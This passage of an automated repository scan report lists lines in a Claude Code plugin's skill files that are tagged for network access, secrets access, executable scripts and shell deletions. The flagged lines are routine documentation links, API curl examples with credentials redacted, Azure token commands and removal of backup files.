    | Spec example (large)               | [`plugins/catalog-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/catalog-backend/src/schema/openapi.yaml)                                    |
  • Network accessline 222
    | Router using `createOpenApiRouter` | [`plugins/events-backend/src/service/hub/createEventBusRouter.ts`](https://github.com/backstage/backstage/blob/master/plugins/events-backend/src/service/hub/createEventBusRouter.ts)      |
  • Network accessline 223
    | Test using `wrapServer`            | [`plugins/scaffolder-backend/src/service/router.test.ts`](https://github.com/backstage/backstage/blob/master/plugins/scaffolder-backend/src/service/router.test.ts)                        |
  • Network accessline 224
    | Generate command source            | [`packages/repo-tools/src/commands/package/schema/openapi/generate/`](https://github.com/backstage/backstage/tree/master/packages/repo-tools/src/commands/package/schema/openapi/generate) |
  • Network accessline 225
    | Spec lint command source           | [`packages/repo-tools/src/commands/repo/schema/openapi/lint.ts`](https://github.com/backstage/backstage/blob/master/packages/repo-tools/src/commands/repo/schema/openapi/lint.ts)          |
  • Network accessline 226
    | `wrapServer` implementation        | [`packages/backend-openapi-utils/src/testUtils.ts`](https://github.com/backstage/backstage/blob/master/packages/backend-openapi-utils/src/testUtils.ts)                                    |
  • Network accessline 227
    | Client output reference            | [`plugins/events-node/src/generated/`](https://github.com/backstage/backstage/tree/master/plugins/events-node/src/generated)                                                               |

harness/claude-code/plugins/open-horizons-platform/skills/backstage-plugin-analytics-instrumentation/SKILL.md

  • Network accessline 7
    license: Apache-2.0 metadata:   source-repository: "https://github.com/backstage/backstage"
  • Network accessline 8
    metadata:   source-repository: "https://github.com/backstage/backstage"   source-commit: eeac444a9aba7c107525d2a726851e907418c181
  • Network accessline 9
    source-repository: "https://github.com/backstage/backstage"

harness/claude-code/plugins/open-horizons-platform/skills/backstage-plugin-builder/references/official-docs.md

  • Network accessline 5
    | Topic | Official source | | --- | --- | | Standalone Backstage app | <https://backstage.io/docs/getting-started/> |
  • Network accessline 6
    | --- | --- | | Standalone Backstage app | <https://backstage.io/docs/getting-started/> | | New frontend plugins | <https://github.com/backstage/backstage/blob/master/docs/frontend-system/building-plugins/01-index.md> |
  • Network accessline 7
    | Standalone Backstage app | <https://backstage.io/docs/getting-started/> |
  • Network accessline 8
    | New frontend plugins | <https://github.com/backstage/backstage/blob/master/docs/frontend-system/building-plugins/01-index.md> |
  • Network accessline 9
    | New backend plugins and modules | <https://github.com/backstage/backstage/blob/master/docs/backend-system/building-plugins-and-modules/01-index.md> |
  • Network accessline 10
    | Legacy plugin creation reference | <https://backstage.io/docs/plugins/create-a-plugin/> |
  • Network accessline 11
    | Plugin structure reference | <https://backstage.io/docs/plugins/structure-of-a-plugin/> |
  • Network accessline 12
    | Composability and routing reference | <https://backstage.io/docs/plugins/composability/> |
  • Network accessline 13
    | Community plugin contribution | <https://github.com/backstage/community-plugins/blob/main/CONTRIBUTING.md> |
  • Network accessline 14
    | Backstage repository contribution | <https://github.com/backstage/backstage/blob/master/CONTRIBUTING.md> |

harness/claude-code/plugins/open-horizons-platform/skills/backstage-plugin-builder/scripts/create_backstage_plugin_artifacts.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/open-horizons-platform/skills/backstage-plugin-builder/scripts/test_validate_backstage_plugin.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/open-horizons-platform/skills/backstage-plugin-builder/scripts/validate_backstage_plugin.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/open-horizons-platform/skills/backstage-plugin-builder/scripts/validate_official_docs.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 13
    URLS = [     "https://raw.githubusercontent.com/backstage/backstage/master/docs/frontend-system/building-plugins/01-index.md",
  • Network accessline 14
    "https://raw.githubusercontent.com/backstage/backstage/master/docs/frontend-system/building-plugins/01-index.md",
  • Network accessline 15
    "https://raw.githubusercontent.com/backstage/backstage/master/docs/backend-system/building-plugins-and-modules/01-index.md",
  • Network accessline 16
    "https://backstage.io/docs/plugins/create-a-plugin/",
  • Network accessline 17
    "https://backstage.io/docs/plugins/composability/",
  • Network accessline 18
    "https://github.com/backstage/community-plugins/blob/main/CONTRIBUTING.md",
  • Network accessline 19
    "https://github.com/backstage/backstage/blob/master/CONTRIBUTING.md",
  • Network accessline 23
    def check_url(url: str, timeout: int) -> dict:     request = urllib.request.Request(
  • Network accessline 24
    request = urllib.request.Request(
  • Network accessline 25
    url, headers={"User-Agent": "backstage-plugin-builder-doc-check"})     try:         with urllib.request.urlopen(request, timeout=timeout) as response:
  • Network accessline 26
    try:         with urllib.request.urlopen(request, timeout=timeout) as response:             return {"url": url, "status": response.status, "ok": 200 <= response.status < 400}
  • Network accessline 27
    with urllib.request.urlopen(request, timeout=timeout) as response:

harness/claude-code/plugins/open-horizons-platform/skills/backstage-plugin-full-frontend-system-migration/SKILL.md

  • Network accessline 7
    license: Apache-2.0 metadata:   source-repository: "https://github.com/backstage/backstage"
  • Network accessline 8
    metadata:   source-repository: "https://github.com/backstage/backstage"   source-commit: eeac444a9aba7c107525d2a726851e907418c181
  • Network accessline 9
    source-repository: "https://github.com/backstage/backstage"

harness/claude-code/plugins/open-horizons-platform/skills/backstage-plugin-full-frontend-system-migration/references/upstream/SKILL.md

  • Network accessline 122
    For the plugin `icon`, prefer using [Remix Icons](https://remixicon.com/) from `@remixicon/react`. If the plugin already has an existing MUI icon, it can be kept with `fontSize="inherit"` (e.g. `<CategoryIcon fontSize="inherit" />`), but fo
  • Network accessline 550
    - [Plugin migration guide](https://backstage.io/docs/frontend-system/building-plugins/migrating)
  • Network accessline 551
    - [Extension blueprints](https://backstage.io/docs/frontend-system/building-plugins/common-extension-blueprints)
  • Network accessline 552
    - [Utility APIs](https://backstage.io/docs/frontend-system/utility-apis/creating)

harness/claude-code/plugins/open-horizons-platform/skills/backstage-plugin-new-frontend-system-support/SKILL.md

  • Network accessline 7
    license: Apache-2.0 metadata:   source-repository: "https://github.com/backstage/backstage"
  • Network accessline 8
    metadata:   source-repository: "https://github.com/backstage/backstage"   source-commit: eeac444a9aba7c107525d2a726851e907418c181
  • Network accessline 9
    source-repository: "https://github.com/backstage/backstage"

harness/claude-code/plugins/open-horizons-platform/skills/backstage-plugin-new-frontend-system-support/references/upstream/SKILL.md

  • Network accessline 56
    For the plugin `icon`, prefer using [Remix Icons](https://remixicon.com/) from `@remixicon/react`. If the plugin already has an existing MUI icon, it can be kept with `fontSize="inherit"` (e.g. `<CategoryIcon fontSize="inherit" />`), but fo
  • Network accessline 425
    - [Plugin migration guide](https://backstage.io/docs/frontend-system/building-plugins/migrating)
  • Network accessline 426
    - [Extension blueprints](https://backstage.io/docs/frontend-system/building-plugins/common-extension-blueprints)
  • Network accessline 427
    - [Utility APIs](https://backstage.io/docs/frontend-system/utility-apis/creating)

harness/claude-code/plugins/open-horizons-platform/skills/cloud-architecture-best-practices-docs/scripts/validate_arch.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/open-horizons-platform/skills/cloud-design-patterns/SKILL.md

  • Network accessline 121
    - [Cloud Design Patterns - Azure Architecture Center](https://learn.microsoft.com/azure/architecture/patterns/)
  • Network accessline 122
    - [Azure Well-Architected Framework](https://learn.microsoft.com/azure/architecture/framework/)

harness/claude-code/plugins/open-horizons-platform/skills/create-llms/SKILL.md

  • Network accessline 4
    Create a new repository-root llms.txt file from repository structure and documentation according   to the llms.txt specification. Use when users ask to create llms.txt, generate LLM navigation,   document repository structure for LLMs, or a
  • Network accessline 5
    to the llms.txt specification. Use when users ask to create llms.txt, generate LLM navigation,   document repository structure for LLMs, or add an llms.txt compliant with https://llmstxt.org/. ---
  • Network accessline 6
    document repository structure for LLMs, or add an llms.txt compliant with https://llmstxt.org/.
  • Network accessline 25
    - No root `/llms.txt` exists, or the user explicitly wants it recreated from scratch. - Repository structure is available for analysis. - Use the official llms.txt specification at `https://llmstxt.org/` and preserve baseline URL spelling `
  • Network accessline 27
    - Use the official llms.txt specification at `https://llmstxt.org/` and preserve baseline URL spelling `https://llmstxt.org/.` for migration checks.
  • Network accessline 148
    - [llms.txt specification](https://llmstxt.org/)
  • Network accessline 149
    - Baseline URL spelling preserved for migration checks: https://llmstxt.org/.

harness/claude-code/plugins/open-horizons-platform/skills/foundry-agent-blueprint/SKILL.md

  • Network accessline 67
    - [Azure AI Foundry Agent Service](https://learn.microsoft.com/azure/ai-foundry/agents/)
  • Network accessline 68
    - [Azure AI Foundry model catalog](https://learn.microsoft.com/azure/ai-foundry/how-to/model-catalog-overview)
  • Network accessline 69
    - [Foundry tools](https://learn.microsoft.com/azure/ai-foundry/agents/how-to/tools/overview)
  • Network accessline 70
    - [Evaluate generative AI with Azure AI Foundry](https://learn.microsoft.com/azure/ai-foundry/concepts/evaluation-approach-gen-ai)

harness/claude-code/plugins/open-horizons-platform/skills/foundry-agent-framework-py-release/SKILL.md

  • Network accessline 172
    ### Added - **agent-framework-<pkg>**: <subject> ([#NNNN](https://github.com/microsoft/agent-framework/pull/NNNN))
  • Network accessline 173
    - **agent-framework-<pkg>**: <subject> ([#NNNN](https://github.com/microsoft/agent-framework/pull/NNNN))
  • Network accessline 190
    **Entry format:** - `- **agent-framework-<pkg>**: <subject, grammar-normalized> ([#NNNN](https://github.com/microsoft/agent-framework/pull/NNNN))`
  • Network accessline 191
    - `- **agent-framework-<pkg>**: <subject, grammar-normalized> ([#NNNN](https://github.com/microsoft/agent-framework/pull/NNNN))`
  • Network accessline 249
    Two edits when a released-tier bump is in play: 1. Advance `[Unreleased]` compare base from `python-${OLD_RELEASED}...HEAD` to `python-${NEW_RELEASED}...HEAD`. 2. INSERT a new `[${NEW_RELEASED}]` line ABOVE the previous version's link: `[${
  • Network accessline 251
    2. INSERT a new `[${NEW_RELEASED}]` line ABOVE the previous version's link: `[${NEW_RELEASED}]: https://github.com/microsoft/agent-framework/compare/python-${OLD_RELEASED}...python-${NEW_RELEASED}`
  • Dangerous shell operationline 264
    rm python/packages/openai/pyproject.toml.bak
  • Dangerous shell operationline 273
    rm python/pyproject.toml.bak
  • Dangerous shell operationline 281
    rm python/packages/ag-ui/pyproject.toml.bak
  • Dangerous shell operationline 295
    rm "${file}.bak"
  • Dangerous shell operationline 315
    rm "${file}.bak"

harness/claude-code/plugins/open-horizons-platform/skills/foundry-agent-sync/SKILL.md

  • Network accessline 60
    2. Locate `infra/scripts/sync-foundry-agents.ps1` or `foundry-agent-sync.sh`; scaffold the PowerShell script when missing and adapt `$AgentNamePrefix`, `$ModelName`, and `$ManifestPath`. 3. Collect Foundry project endpoint, subscription ID,
  • Network accessline 61
    3. Collect Foundry project endpoint, subscription ID, model deployment name, and agent name prefix. Default model can be `gpt-5-4`; default prefix can be repo name in kebab-case. 4. Authenticate and sync with a token for `https://ai.azure.c
  • Network accessline 62
    4. Authenticate and sync with a token for `https://ai.azure.com/`.
  • Network accessline 79
    | Script path | Canonical path is `infra/scripts/sync-foundry-agents.ps1`, adapted to repository layout. | | Parameters | `$SubscriptionId`, `$ProjectEndpoint`, `$ManifestPath`, `$ModelName`, `$AgentNamePrefix`, `$ApiVersion = '2025-11-15-p
  • Network accessline 80
    | Parameters | `$SubscriptionId`, `$ProjectEndpoint`, `$ManifestPath`, `$ModelName`, `$AgentNamePrefix`, `$ApiVersion = '2025-11-15-preview'`. | | Token | `az account get-access-token --resource https://ai.azure.com/ --query accessToken -o 
  • Network accessline 81
    | Token | `az account get-access-token --resource https://ai.azure.com/ --query accessToken -o tsv`. |
  • Network accessline 89
    For bash in `Microsoft.Resources/deploymentScripts`, authenticate with `az login --identity --username "$CLIENT_ID"`, acquire the token with `az account get-access-token --resource https://ai.azure.com/`, iterate definitions from `FOUNDRY_A
  • Network accessline 119
    | Symptom | Cause | Resolution | | --- | --- | --- | | `401 Unauthorized` | Token expired or wrong audience. | Re-run `az account get-access-token --resource https://ai.azure.com/`. |
  • Network accessline 120
    | --- | --- | --- | | `401 Unauthorized` | Token expired or wrong audience. | Re-run `az account get-access-token --resource https://ai.azure.com/`. | | `403 Forbidden` | Missing Azure AI User role. | Assign the role on the Foundry project 
  • Network accessline 121
    | `401 Unauthorized` | Token expired or wrong audience. | Re-run `az account get-access-token --resource https://ai.azure.com/`. |
  • Network accessline 153
    ### Commands - `az account set --subscription <subscription>` - `az account get-access-token --resource https://ai.azure.com/`
  • Network accessline 154
    - `az account set --subscription <subscription>` - `az account get-access-token --resource https://ai.azure.com/` - `<sync script command>`
  • Network accessline 155
    - `az account get-access-token --resource https://ai.azure.com/`
  • Network accessline 164
    - [ ] Manifest exists or was scaffolded with `useCaseId`, `description`, and `baseInstruction`. - [ ] Endpoint, subscription ID, model deployment name, and agent name prefix are known. - [ ] Token audience is `https://ai.azure.com/` and the
  • Network accessline 165
    - [ ] Endpoint, subscription ID, model deployment name, and agent name prefix are known. - [ ] Token audience is `https://ai.azure.com/` and the token is not printed. - [ ] Agent names are built from `{prefix}-{useCaseId}`.
  • Network accessline 166
    - [ ] Token audience is `https://ai.azure.com/` and the token is not printed.

harness/claude-code/plugins/open-horizons-platform/skills/foundry-ai-operations/SKILL.md

  • Network accessline 128
    # Test chat completion curl -X POST "https://<endpoint>.openai.azure.com/openai/deployments/<deployment>/chat/completions?api-version=2024-02-15-preview" \
  • Network accessline 129
    [Credential-related source omitted]
  • Access to secretsline 129
    [Credential-related source omitted]
  • Access to secretsline 131
    [Credential-related source omitted]
  • Network accessline 134
    # Test with managed identity (from AKS pod) curl -X POST "https://<endpoint>.openai.azure.com/openai/deployments/<deployment>/chat/completions?api-version=2024-02-15-preview" \
  • Network accessline 135
    curl -X POST "https://<endpoint>.openai.azure.com/openai/deployments/<deployment>/chat/completions?api-version=2024-02-15-preview" \

harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/LICENSE.txt

  • Network accessline 2
    Apache License                            Version 2.0, January 2004                         http://www.apache.org/licenses/
  • Network accessline 4
    http://www.apache.org/licenses/
  • Network accessline 196
    http://www.apache.org/licenses/LICENSE-2.0

harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/csharp/claude-api/README.md

  • Network accessline 48
    **Write a plain `Program.cs` body** — `using` statements followed by top-level statements, as below. Do **not** add a `#!/usr/bin/env dotnet` shebang or `#:package Anthropic@*` directive: those are .NET file-based-app syntax and fail with `
  • Access to secretsline 108
    [Credential-related source omitted]
  • Access to secretsline 113
    [Credential-related source omitted]

harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/curl/examples.md

  • Network accessline 1
    # Claude API — cURL / Raw HTTP
  • Access to secretsline 8
    [Credential-related source omitted]
  • Network accessline 16
    [Credential-related source omitted]
  • Access to secretsline 16
    [Credential-related source omitted]
  • Access to secretsline 18
    [Credential-related source omitted]
  • Network accessline 36
    # Capture the response, then extract fields response=$(curl -s https://api.anthropic.com/v1/messages \
  • Network accessline 37
    [Credential-related source omitted]
  • Access to secretsline 37
    [Credential-related source omitted]
  • Access to secretsline 39
    [Credential-related source omitted]
  • Network accessline 63
    [Credential-related source omitted]
  • Access to secretsline 63
    [Credential-related source omitted]
  • Access to secretsline 65
    [Credential-related source omitted]
  • Network accessline 102
    [Credential-related source omitted]
  • Access to secretsline 102
    [Credential-related source omitted]
  • Access to secretsline 104
    [Credential-related source omitted]
  • Network accessline 127
    [Credential-related source omitted]
  • Access to secretsline 127
    [Credential-related source omitted]
  • Access to secretsline 129
    [Credential-related source omitted]
  • Network accessline 165
    [Credential-related source omitted]
  • Access to secretsline 165
    [Credential-related source omitted]
  • Access to secretsline 167
    [Credential-related source omitted]
  • Network accessline 190
    # Fable 5 / Claude Opus 5 / Opus 4.8 / 4.7 / 4.6: adaptive thinking (recommended) curl https://api.anthropic.com/v1/messages \
  • Network accessline 191
    [Credential-related source omitted]
  • Access to secretsline 191
    [Credential-related source omitted]
  • Access to secretsline 193
    [Credential-related source omitted]
  • Network accessline 216
    [Credential-related source omitted]
  • Access to secretsline 216
    [Credential-related source omitted]
  • Access to secretsline 218
    [Credential-related source omitted]

harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/curl/managed-agents.md

  • Network accessline 1
    # Managed Agents — cURL / Raw HTTP
  • Access to secretsline 8
    [Credential-related source omitted]
  • Access to secretsline 13
    [Credential-related source omitted]
  • Network accessline 24
    curl -X POST https://api.anthropic.com/v1/environments \
  • Network accessline 38
    curl -X POST https://api.anthropic.com/v1/environments \
  • Network accessline 63
    # 1. Create the agent curl -X POST https://api.anthropic.com/v1/agents \
  • Network accessline 64
    curl -X POST https://api.anthropic.com/v1/agents \
  • Network accessline 73
    # 2. Start a session curl -X POST https://api.anthropic.com/v1/sessions \
  • Network accessline 74
    curl -X POST https://api.anthropic.com/v1/sessions \
  • Network accessline 79
    }' # → { "id": "sesn_abc123", ... } # Trace: https://platform.claude.com/workspaces/default/sessions/sesn_abc123  (swap 'default' for your workspace ID if the API key is not in the Default workspace)
  • Network accessline 81
    # Trace: https://platform.claude.com/workspaces/default/sessions/sesn_abc123  (swap 'default' for your workspace ID if the API key is not in the Default workspace)
  • Network accessline 87
    # 1. Create the agent curl -X POST https://api.anthropic.com/v1/agents \
  • Network accessline 88
    curl -X POST https://api.anthropic.com/v1/agents \
  • Network accessline 111
    # 2. Start a session with the repo mounted curl -X POST https://api.anthropic.com/v1/sessions \
  • Network accessline 112
    curl -X POST https://api.anthropic.com/v1/sessions \
  • Network accessline 119
    {         "type": "github_repository",         "url": "https://github.com/owner/repo",
  • Network accessline 120
    "type": "github_repository",         "url": "https://github.com/owner/repo",         "mount_path": "/workspace/repo",
  • Network accessline 121
    "url": "https://github.com/owner/repo",
  • Network accessline 133
    # Create a session with a hard $25.00 spend cap (list-priced; USD only; create-only). # amount is in minor units (cents) as an integer string: "2500" = $25.00 curl -X POST https://api.anthropic.com/v1/sessions \
  • Network accessline 134
    # amount is in minor units (cents) as an integer string: "2500" = $25.00 curl -X POST https://api.anthropic.com/v1/sessions \   "${HEADERS[@]}" \
  • Network accessline 135
    curl -X POST https://api.anthropic.com/v1/sessions \
  • Network accessline 146
    # Change the cap — higher or lower, but it must exceed the consumed list cost. # An accepted update resumes work paused at budget_reached curl -X POST https://api.anthropic.com/v1/sessions/$SESSION_ID \
  • Network accessline 147
    # An accepted update resumes work paused at budget_reached curl -X POST https://api.anthropic.com/v1/sessions/$SESSION_ID \   "${HEADERS[@]}" \
  • Network accessline 148
    curl -X POST https://api.anthropic.com/v1/sessions/$SESSION_ID \
  • Network accessline 152
    # Remove the cap entirely — one-way; a removed budget can never be re-added curl -X POST https://api.anthropic.com/v1/sessions/$SESSION_ID \
  • Network accessline 153
    curl -X POST https://api.anthropic.com/v1/sessions/$SESSION_ID \
  • Network accessline 165
    curl -X POST https://api.anthropic.com/v1/sessions/$SESSION_ID/events \
  • Network accessline 182
    curl -N https://api.anthropic.com/v1/sessions/$SESSION_ID/events/stream \
  • Network accessline 204
    # Get all events curl https://api.anthropic.com/v1/sessions/$SESSION_ID/events \
  • Network accessline 205
    curl https://api.anthropic.com/v1/sessions/$SESSION_ID/events \
  • Network accessline 208
    # Paginated — get next page of events curl "https://api.anthropic.com/v1/sessions/$SESSION_ID/events?page=page_abc123" \
  • Network accessline 209
    curl "https://api.anthropic.com/v1/sessions/$SESSION_ID/events?page=page_abc123" \
  • Network accessline 220
    curl -X POST https://api.anthropic.com/v1/sessions/$SESSION_ID/events \
  • Network accessline 238
    curl -X POST https://api.anthropic.com/v1/sessions/$SESSION_ID/events \
  • Network accessline 254
    curl https://api.anthropic.com/v1/sessions/$SESSION_ID \
  • Network accessline 263
    curl https://api.anthropic.com/v1/sessions \
  • Network accessline 272
    curl -X DELETE https://api.anthropic.com/v1/sessions/$SESSION_ID \
  • Network accessline 281
    [Credential-related source omitted]
  • Access to secretsline 281
    [Credential-related source omitted]
  • Access to secretsline 282
    [Credential-related source omitted]
  • Network accessline 296
    # List files associated with a session curl "https://api.anthropic.com/v1/files?scope_id=$SESSION_ID" \
  • Network accessline 297
    [Credential-related source omitted]
  • Access to secretsline 297
    [Credential-related source omitted]
  • Access to secretsline 298
    [Credential-related source omitted]
  • Network accessline 302
    # Download a specific file curl "https://api.anthropic.com/v1/files/$FILE_ID/content" \
  • Network accessline 303
    [Credential-related source omitted]
  • Access to secretsline 303
    [Credential-related source omitted]
  • Access to secretsline 304
    [Credential-related source omitted]
  • Network accessline 315
    curl https://api.anthropic.com/v1/agents \
  • Network accessline 324
    # 1. Agent declares MCP server (no auth here — auth goes in a vault) curl -X POST https://api.anthropic.com/v1/agents \
  • Network accessline 325
    curl -X POST https://api.anthropic.com/v1/agents \
  • Network accessline 329
    "model": "claude-opus-5",     "mcp_servers": [       { "type": "url", "name": "my-tools", "url": "https://my-mcp-server.example.com/sse" }
  • Network accessline 330
    "mcp_servers": [       { "type": "url", "name": "my-tools", "url": "https://my-mcp-server.example.com/sse" }     ],
  • Network accessline 331
    { "type": "url", "name": "my-tools", "url": "https://my-mcp-server.example.com/sse" }
  • Network accessline 339
    # 2. Session attaches vault containing credentials for that MCP server URL curl -X POST https://api.anthropic.com/v1/sessions \
  • Network accessline 340
    curl -X POST https://api.anthropic.com/v1/sessions \
  • Network accessline 356
    curl -X POST https://api.anthropic.com/v1/agents \

harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/go/claude-api/README.md

  • Access to secretsline 19
    [Credential-related source omitted]
  • Network accessline 151
    Other sources: `URLPDFSourceParam{URL: "https://..."}`, `PlainTextSourceParam{Data: "..."}`.

harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/go/managed-agents/README.md

  • Network accessline 3
    > **Bindings not shown here:** This README covers the most common managed-agents flows for Go. If you need a class, method, namespace, field, or behavior that isn't shown, WebFetch the Go SDK repo **or the relevant docs page** from `shared/
  • Access to secretsline 23
    [Credential-related source omitted]
  • Network accessline 96
    } fmt.Printf("Session ID: %s, status: %s\n", session.ID, session.Status) fmt.Printf("Trace: https://platform.claude.com/workspaces/default/sessions/%s\n", session.ID) // swap 'default' for your workspace ID if the API key is not in the Defa
  • Network accessline 98
    fmt.Printf("Trace: https://platform.claude.com/workspaces/default/sessions/%s\n", session.ID) // swap 'default' for your workspace ID if the API key is not in the Default workspace
  • Network accessline 390
    Type: anthropic.BetaManagedAgentsURLMCPServerParamsTypeURL,         Name: "github",         URL:  "https://api.githubcopilot.com/mcp/",
  • Network accessline 391
    Name: "github",         URL:  "https://api.githubcopilot.com/mcp/",     }},
  • Network accessline 392
    URL:  "https://api.githubcopilot.com/mcp/",
  • Network accessline 449
    OfMCPOAuth: &anthropic.BetaManagedAgentsMCPOAuthCreateParams{             Type:         anthropic.BetaManagedAgentsMCPOAuthCreateParamsTypeMCPOAuth,             MCPServerURL: "https://mcp.slack.com/mcp",
  • Network accessline 450
    Type:         anthropic.BetaManagedAgentsMCPOAuthCreateParamsTypeMCPOAuth,             MCPServerURL: "https://mcp.slack.com/mcp",             AccessToken:  "xoxp-...",
  • Network accessline 451
    MCPServerURL: "https://mcp.slack.com/mcp",
  • Network accessline 453
    ExpiresAt:    anthropic.Time(time.Date(2026, time.April, 15, 0, 0, 0, 0, time.UTC)),             Refresh: anthropic.BetaManagedAgentsMCPOAuthRefreshParams{                 TokenEndpoint: "https://slack.com/api/oauth.v2.access",
  • Network accessline 454
    Refresh: anthropic.BetaManagedAgentsMCPOAuthRefreshParams{                 TokenEndpoint: "https://slack.com/api/oauth.v2.access",                 ClientID:      "1234567890.0987654321",
  • Network accessline 455
    TokenEndpoint: "https://slack.com/api/oauth.v2.access",
  • Network accessline 511
    OfGitHubRepository: &anthropic.BetaManagedAgentsGitHubRepositoryResourceParams{                 Type:               anthropic.BetaManagedAgentsGitHubRepositoryResourceParamsTypeGitHubRepository,                 URL:                "https://
  • Network accessline 512
    Type:               anthropic.BetaManagedAgentsGitHubRepositoryResourceParamsTypeGitHubRepository,                 URL:                "https://github.com/org/repo",                 MountPath:          anthropic.String("/workspace/repo"),
  • Network accessline 513
    URL:                "https://github.com/org/repo",
  • Network accessline 530
    OfGitHubRepository: &anthropic.BetaManagedAgentsGitHubRepositoryResourceParams{             Type:               anthropic.BetaManagedAgentsGitHubRepositoryResourceParamsTypeGitHubRepository,             URL:                "https://github.c
  • Network accessline 531
    Type:               anthropic.BetaManagedAgentsGitHubRepositoryResourceParamsTypeGitHubRepository,             URL:                "https://github.com/org/frontend",             MountPath:          anthropic.String("/workspace/frontend"),
  • Network accessline 532
    URL:                "https://github.com/org/frontend",
  • Network accessline 538
    OfGitHubRepository: &anthropic.BetaManagedAgentsGitHubRepositoryResourceParams{             Type:               anthropic.BetaManagedAgentsGitHubRepositoryResourceParamsTypeGitHubRepository,             URL:                "https://github.c
  • Network accessline 539
    Type:               anthropic.BetaManagedAgentsGitHubRepositoryResourceParamsTypeGitHubRepository,             URL:                "https://github.com/org/backend",             MountPath:          anthropic.String("/workspace/backend"),
  • Network accessline 540
    URL:                "https://github.com/org/backend",

harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/java/claude-api/README.md

  • Access to secretsline 66
    [Credential-related source omitted]
  • Network accessline 191
    DocumentBlockParam doc = DocumentBlockParam.builder()     .source(Base64PdfSource.builder().data(base64String).build())     // or .source(UrlPdfSource.builder().url("https://...").build())
  • Network accessline 192
    .source(Base64PdfSource.builder().data(base64String).build())     // or .source(UrlPdfSource.builder().url("https://...").build())     .title("My Document")        // optional
  • Network accessline 193
    // or .source(UrlPdfSource.builder().url("https://...").build())

harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/java/claude-api/tool-use.md

  • Network accessline 198
    .addMcpServer(BetaRequestMcpServerUrlDefinition.builder()         .name("my-server")         .url("https://example.com/mcp")
  • Network accessline 199
    .name("my-server")         .url("https://example.com/mcp")         .build())
  • Network accessline 200
    .url("https://example.com/mcp")

harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/java/managed-agents/README.md

  • Network accessline 3
    > **Bindings not shown here:** This README covers the most common managed-agents flows for Java. If you need a class, method, namespace, field, or behavior that isn't shown, WebFetch the Java SDK repo **or the relevant docs page** from `sha
  • Access to secretsline 21
    [Credential-related source omitted]
  • Network accessline 76
    .build()); System.out.println("Session ID: " + session.id()); System.out.println("Trace: https://platform.claude.com/workspaces/default/sessions/" + session.id()); // swap 'default' for your workspace ID if the API key is not in the Default
  • Network accessline 78
    System.out.println("Trace: https://platform.claude.com/workspaces/default/sessions/" + session.id()); // swap 'default' for your workspace ID if the API key is not in the Default workspace
  • Network accessline 301
    .type(BetaManagedAgentsUrlMcpServerParams.Type.URL)         .name("github")         .url("https://api.githubcopilot.com/mcp/")
  • Network accessline 302
    .name("github")         .url("https://api.githubcopilot.com/mcp/")         .build())
  • Network accessline 303
    .url("https://api.githubcopilot.com/mcp/")
  • Network accessline 356
    .auth(BetaManagedAgentsMcpOAuthCreateParams.builder()             .type(BetaManagedAgentsMcpOAuthCreateParams.Type.MCP_OAUTH)             .mcpServerUrl("https://mcp.slack.com/mcp")
  • Network accessline 357
    .type(BetaManagedAgentsMcpOAuthCreateParams.Type.MCP_OAUTH)             .mcpServerUrl("https://mcp.slack.com/mcp")             .accessToken("xoxp-...")
  • Network accessline 358
    .mcpServerUrl("https://mcp.slack.com/mcp")
  • Network accessline 360
    .expiresAt(OffsetDateTime.parse("2026-04-15T00:00:00Z"))             .refresh(BetaManagedAgentsMcpOAuthRefreshParams.builder()                 .tokenEndpoint("https://slack.com/api/oauth.v2.access")
  • Network accessline 361
    .refresh(BetaManagedAgentsMcpOAuthRefreshParams.builder()                 .tokenEndpoint("https://slack.com/api/oauth.v2.access")                 .clientId("1234567890.0987654321")
  • Network accessline 362
    .tokenEndpoint("https://slack.com/api/oauth.v2.access")
  • Network accessline 402
    .addResource(BetaManagedAgentsGitHubRepositoryResourceParams.builder()         .type(BetaManagedAgentsGitHubRepositoryResourceParams.Type.GITHUB_REPOSITORY)         .url("https://github.com/org/repo")
  • Network accessline 403
    .type(BetaManagedAgentsGitHubRepositoryResourceParams.Type.GITHUB_REPOSITORY)         .url("https://github.com/org/repo")         .mountPath("/workspace/repo")
  • Network accessline 404
    .url("https://github.com/org/repo")
  • Network accessline 417
    BetaManagedAgentsGitHubRepositoryResourceParams.builder()         .type(BetaManagedAgentsGitHubRepositoryResourceParams.Type.GITHUB_REPOSITORY)         .url("https://github.com/org/frontend")
  • Network accessline 418
    .type(BetaManagedAgentsGitHubRepositoryResourceParams.Type.GITHUB_REPOSITORY)         .url("https://github.com/org/frontend")         .mountPath("/workspace/frontend")
  • Network accessline 419
    .url("https://github.com/org/frontend")
  • Network accessline 423
    BetaManagedAgentsGitHubRepositoryResourceParams.builder()         .type(BetaManagedAgentsGitHubRepositoryResourceParams.Type.GITHUB_REPOSITORY)         .url("https://github.com/org/backend")
  • Network accessline 424
    .type(BetaManagedAgentsGitHubRepositoryResourceParams.Type.GITHUB_REPOSITORY)         .url("https://github.com/org/backend")         .mountPath("/workspace/backend")
  • Network accessline 425
    .url("https://github.com/org/backend")

harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/php/claude-api/README.md

  • Access to secretsline 17
    [Credential-related source omitted]
  • Access to secretsline 50
    [Credential-related source omitted]

harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/php/claude-api/tool-use.md

  • Network accessline 200
    BetaRequestMCPServerURLDefinition::with(             name: 'my-server',             url: 'https://example.com/mcp',
  • Network accessline 201
    name: 'my-server',             url: 'https://example.com/mcp',         ),
  • Network accessline 202
    url: 'https://example.com/mcp',

harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/php/managed-agents/README.md

  • Network accessline 3
